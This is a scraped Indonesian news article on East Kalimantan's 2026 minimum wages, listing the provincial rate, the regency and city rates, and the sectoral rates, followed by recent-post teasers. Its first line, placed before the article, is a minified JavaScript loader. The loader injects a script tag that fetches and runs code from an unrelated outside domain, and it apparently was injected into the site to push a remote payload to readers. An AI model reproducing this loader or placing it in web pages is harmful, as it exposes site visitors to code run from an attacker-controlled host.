(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta


Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud pada tanggal 24 Desember 2025. Penetapan ini tertuang dalam Pengumuman Gubernur Kalimantan Timur Nomor 500.15.14.1/5097/DTKT.Srk-IV/2025.

Melalui pengumuman tersebut, upah minimum yang telah diputuskan mulai diberlakukan pada 1 Januari 2026. Ini besaran UMP Kalimantan Timur 2026 dan kenaikannya.

Berapa UMP Kalimantan Timur 2026?

Sesuai dengan keputusan yang ditandatangani gubernur, UMP Kalimantan Timur 2026 ditetapkan sebesar Rp3.762.431 per bulan. Kenaikan UMP Kaltim dibandingkan tahun sebelumnya sebesar Rp183.117 atau sebanyak 5,12%.

Ketetapan ini menjadi upah minimum bagi pekerja atau buruh dengan masa kerja kurang dari satu tahun. Berlakunya UMP Kaltim 2026 mulai 1 Januari hingga 31 Desember 2026.

Dasar Penetapan UMP 2026 Kalimantan Timur

Perhitungan penetapan UMP 2026 Kalimantan Timur berdasarkan Peraturan Pemerintah Nomor 49 Tahun 2025 tentang Pengupahan. Dewan Pengupahan Provinsi Kaltim melakukan perhitungan sesuai dengan formula yang telah ditetapkan dan merekomendasikan hasil tersebut ke gubernur.

Kepala Disnakertrans Kalimantan Timur menegaskan bahwa proses tersebut dilakukan secara transparan dengan mempertimbangkan inflasi, pertumbuhan ekonomi, dan kebutuhan layak hidup daerah.

UMK 2026 Kalimantan Timur

Upah Minimum Kota/Kabupaten (UMK) 2026 untuk seluruh kota/kabupaten se-Kalimantan Timur juga telah ditetapkan secara resmi. Setiap daerah menggunakan perhitungan UMK berdasarkan kondisi ekonomi di daerah masing-masing.

Berikut UMK 2026 masing-masing kota/kabupaten di Kalimantan Timur. 

Nama Kota/Kabupaten UMK 2026
Kabupaten Berau Rp4.391.337
Kabupaten Kutai Barat Rp4.231.617
Kabupaten Mahakam Ulu Rp3.762.431 (mengikuti UMP Kaltim 2026)
Kabupaten Paser Rp3.776.998
Kabupaten Penajam Paser Utara Rp4.181.134
Kabupaten Kutai Timur Rp4.067.436
Kabupaten Kutai Kartanegara Rp3.991.797
Kota Samarinda Rp3.983.882
Kota Balikpapan Rp3.856.694
Kota Bontang Rp3.799.480

Kabupaten Berau memiliki UMK 2026 tertinggi sebesar Rp4.391.337,55 per bulan. Sementara UMK terendah dimiliki Kabupaten Mahakam Ulu sebesar Rp3.762.431 per bulan.

UMSP 2026 Kalimantan Timur

Selain UMP, Upah Minimum Sektoral Provinsi (UMSP) 2026 telah diputuskan bersamaan dengan UMP 2026 Kalimantan Timur. Upah minimum sektoral ditetapkan berdasarkan kondisi kerja dan risiko yang lebih tinggi. Pada Pengumuman Gubernur Kalimantan Timur, terdapat delapan sektor dengan besaran upah minimum berbeda. Berikut rinciannya.

Sektor UMSP 2026
Perkebunan Buah Kelapa Sawit Rp3.801.502
Pertambangan Batu Bara Rp3.930.722
Pertambangan Gas Alam Rp3.968.518
Jasa Penunjang Pertambangan Minyak Bumi dan Gas Alam Rp3.968.518
Industri Minyak Mentah Kelapa Sawit (Crude Palm Oil) Rp3.801.502
Industri Kapal dan Perahu Rp3.936.933
Pertambangan Minyak Bumi Rp3.968.518
Pemanenan Kayu Rp3.802.777

Upah minimum tertinggi berada di sektor pertambangan dan jasa penunjang pertambangan migas sebesar Rp3.968.518 per bulan. UMSP terendah dimiliki oleh sektor perkebunan kelapa sawit dan industri minyak kelapa sawit mentah sebesar Rp3.801.502 per bulan.

Aturan Penetapan UMP 2026 untuk Perusahaan

UMP 2026 yang telah ditetapkan dan ditandatangani oleh gubernur ini bersifat wajib untuk ditaati pengusaha. Perusahaan harus membayar pekerja atau buruh dengan masa kerja kurang dari satu tahun minimal sebesar UMP yang telah ditetapkan.

Bagi pekerja dengan masa kerja selama satu tahun atau lebih, pengupahan wajib mengacu pada struktur dan skala upah perusahaan. Kondisi ini dapat dikecualikan oleh pengusaha tingkat mikro dan kecil yang tergantung kesepakatan pelaku usaha dengan pekerja. (Kanalkalimantan.com/kk)

 

 


Afifa Fiani Kusumastuti

Recent Posts

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

2 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

21 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

23 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

1 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.